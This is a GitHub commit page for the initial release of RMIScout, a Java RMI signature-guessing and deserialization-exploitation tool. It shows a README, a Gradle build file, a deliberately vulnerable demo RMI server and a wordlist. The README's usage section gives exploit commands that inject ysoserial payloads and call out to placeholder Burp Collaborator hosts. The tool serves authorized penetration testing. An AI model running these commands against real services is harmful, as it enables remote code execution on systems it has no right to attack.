Skip to content

Commit

Permalink
Release commit
Browse files Browse the repository at this point in the history
  • Loading branch information
the-bumble committed May 22, 2020
0 parents commit 6748098
Show file tree
Hide file tree
Showing 21 changed files with 3,705 additions and 0 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
/build/
/.gradle/
/.idea/
*.class
21 changes: 21 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2020 BishopFox

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
94 changes: 94 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
<p align="center">
<img src="assets/RMIScout.png" width=600/>
</p>

#



![License](https://img.shields.io/badge/license-MIT-lightgrey.svg)
![Python version](https://img.shields.io/badge/java-8%2b-blue.svg)

### Description

RMIScout performs wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation.

On misconfigured servers, any known RMI signature using non-primitive types (e.g., `java.lang.String`), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in [An Trinh's 2019 Blackhat EU talk](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).

RMIScout integrates with [ysoserial](https://github.com/frohoff/ysoserial/) and [GadgetProbe](https://github.com/bishopfox/gadgetprobe) to perform deserialization attacks against services incorrectly configuring process-wide serialization filters ([JEP 290](https://openjdk.java.net/jeps/290)).

<p align="center">
<img src="assets/wordlist_attack.png" width=800/>
</p>

### Motivation

I wanted a tool to do the following tasks:
1. Provide wordlist and text-based bruteforce strategies instead of bruteforcing a 64-bit method hash.
2. Identify RMI methods without invoking them.
3. Provide a simple way to exploit the known issue of unsafe RMI parameter unmarshalling and integrate with ysoserial or payloads implementing `ysoserial.payloads.ObjectPayload`.
4. Integrate GadgetProbe to identify remote classes to help identify relevant software and construct gadget chains.

To start off your search, the included `lists/prototypes.txt` wordlist is a deduplicated wordlist from 15,000 RMI prototypes found in OSS projects across GitHub. Feel free to submit a PR to include more :)

### How it works

To identify but not execute RMI functions, RMIScout uses low-level RMI network functions and dynamic class generation to send RMI invocations with deliberately mismatched types to trigger remote exceptions. All parameters are substituted for a dynamically generated serializable class with a 255-character name assumed to not exist in the remote class path. For example:

Remote Interface:
```
void login(String user, String password)
```
RMIScout will invoke:
```
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
```
If the class is present this will result in a remote `java.rmi.UnmarshalException` cased by the `ClassNotFoundException` or argument unmarshalling error without invoking the underlying method.

Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscout).

### Usage

```
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
```


### Building and Running

Use the included `rmiscout.sh` script to automatically build the project and as a convenient wrapper around `java -jar` syntax:
```bash
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
```

Alternatively, build the project manually and use traditional `java -jar` syntax:

```bash
# Manually build JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar wordlist -i prototypes.txt <host> <port>
```


### Try It out
Run the demo RMI server. Try out the included `demo/wordlist.txt`.
```bash
cd demo
./start.sh
```
### Author

Twitter: [@BumbleSec](https://twitter.com/theBumbleSec)

GitHub: [the-bumble](https://github.com/the-bumble/)
Binary file added assets/RMIScout.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/wordlist_attack.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
29 changes: 29 additions & 0 deletions build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
plugins {
id 'java'
id 'application'
id 'com.github.johnrengelman.shadow' version '2.0.4'
}

group 'com.bishopfox.rmiscout'
version '1.0-SNAPSHOT'

mainClassName = 'com.bishopfox.rmiscout.RMIScout'

tasks.withType(JavaCompile) {
options.warnings = false
}

repositories {
mavenCentral()
maven { url "https://jitpack.io" }
maven { url "https://repo.spring.io/plugins-release/" }
}

dependencies {
testCompile group: 'junit', name: 'junit', version: '4.12'
compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA'
compile group: 'net.sourceforge.argparse4j', name: 'argparse4j', version: '0.8.1'

implementation 'com.github.frohoff:ysoserial:master-SNAPSHOT'
implementation 'com.github.BishopFox:GadgetProbe:master-SNAPSHOT'
}
25 changes: 25 additions & 0 deletions demo/Hello.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.*;

public interface Hello extends Remote {
String restart() throws RemoteException;
String sayHello(String name) throws RemoteException;
String sayNumber(int name) throws RemoteException;
boolean login(String email, String password) throws RemoteException;

String sayTest1(int name) throws RemoteException;
String sayTest2(byte name) throws RemoteException;
String sayTest3(short name) throws RemoteException;
String sayTest4(long name) throws RemoteException;
String sayTest5(char name) throws RemoteException;
String sayTest6(boolean name) throws RemoteException;
String sayTest7(float name) throws RemoteException;
String sayTest8(double name) throws RemoteException;
String sayTest9(Map name) throws RemoteException;
String sayTest10(HashMap name) throws RemoteException;
String sayTest11(List name) throws RemoteException;
String sayTest12(Object name) throws RemoteException;

ArrayList<String> say2things(String name, int test) throws RemoteException;
}
45 changes: 45 additions & 0 deletions demo/Server.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.*;

public class Server implements Hello {

public Server() {}

public String sayHello() { return "Remote Executed!"; }
public String restart() { return "Remote Executed!"; }
public boolean login(String email, String password) { return true; }
public String sayHello(String name) { return "Remote Executed!"; }
public String sayNumber(int name) { return "Remote Executed!"; }
public String sayTest1(int name) { return "Remote Executed!"; }
public String sayTest2(byte name) { return "Remote Executed!"; }
public String sayTest3(short name) { return "Remote Executed!"; }
public String sayTest4(long name) { return "Remote Executed!"; }
public String sayTest5(char name) { return "Remote Executed!"; }
public String sayTest6(boolean name) { return "Remote Executed!"; }
public String sayTest7(float name) { return "Remote Executed!"; }
public String sayTest8(double name) { return "Remote Executed!"; }
public String sayTest9(Map name) { return "Remote Executed!"; }
public String sayTest10(HashMap name) { return "Remote Executed!"; }
public String sayTest11(List name) { return "Remote Executed!"; }
public String sayTest12(Object name) { return "Remote Executed!"; }
public ArrayList<String> say2things(String name, int test) { return new ArrayList<String>(); }

public static void main(String args[]) {

try {
Server obj = new Server();
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);

Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", stub);

System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
7 changes: 7 additions & 0 deletions demo/start.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#!/bin/bash

rmiregistry &
PID=$!

javac *.java && java -classpath ./ -Djava.rmi.server.codebase=file:$PWD Server
kill $PID
16 changes: 16 additions & 0 deletions demo/wordlist.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
java.util.ArrayList say2things(String test, int test)
String sayTest(Object test)
String sayTest1(int name)
String sayTest2(byte name)
String sayTest3(short name)
String sayTest4(long name)
String sayTest5(char name)
String sayTest6(boolean name)
String sayTest7(float name)
String sayTest8(double name)
String sayTest9(java.util.Map name)
String sayTest10(java.util.HashMap name)
String sayTest11(java.util.List name)
String sayTest12(Object name)
String doesNotExist(String name)
String restart()
Binary file added gradle/wrapper/gradle-wrapper.jar
Binary file not shown.
5 changes: 5 additions & 0 deletions gradle/wrapper/gradle-wrapper.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.3-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
Loading

0 comments on commit 6748098

Please sign in to comment.